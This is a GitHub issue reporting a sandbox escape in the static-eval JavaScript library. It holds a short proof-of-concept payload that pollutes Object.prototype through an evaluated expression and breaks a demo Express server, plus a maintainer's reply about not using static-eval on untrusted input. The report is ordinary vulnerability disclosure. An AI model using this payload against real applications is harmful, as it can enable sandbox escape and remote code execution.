Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Sandbox Escape #32

Open
po6ix opened this issue Jul 29, 2020 · 1 comment
Open

Sandbox Escape #32

po6ix opened this issue Jul 29, 2020 · 1 comment

Comments

@po6ix
Copy link

po6ix commented Jul 29, 2020

poc

// make pollution
const evaluate = require('static-eval');
const parse = require('esprima').parse;

var src = `({})['__proto__']['__defineGetter__']('toString', ({})['constructor'])`
var ast = parse(src).body[0].expression;

evaluate(ast);

// serve webapp
const express = require('express');
const app = express();

app.get('/', (req, res) => {
    res.end('working!');
});

app.listen(8080);

details in
https://blog.p6.is/bypassing-a-js-sandbox/#Prototype-Pollution-to-Remote-Code-Execution

@goto-bus-stop
Copy link
Member

Thanks for the report! As the readme says we don't encourage people to use static-eval on untrusted input because of things like this, there are probably many more undiscovered ways too 😅

I'll see if there is a simple fix for this, anyway, but it's not the highest priority.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants